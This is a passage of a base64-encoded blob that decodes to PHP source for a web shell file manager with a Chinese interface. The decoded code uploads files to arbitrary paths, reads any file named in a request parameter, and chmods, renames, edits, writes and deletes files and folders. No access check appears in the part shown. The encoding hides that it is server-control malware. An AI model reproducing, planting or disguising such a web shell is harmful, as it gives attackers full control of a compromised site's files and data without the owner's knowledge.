ua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDW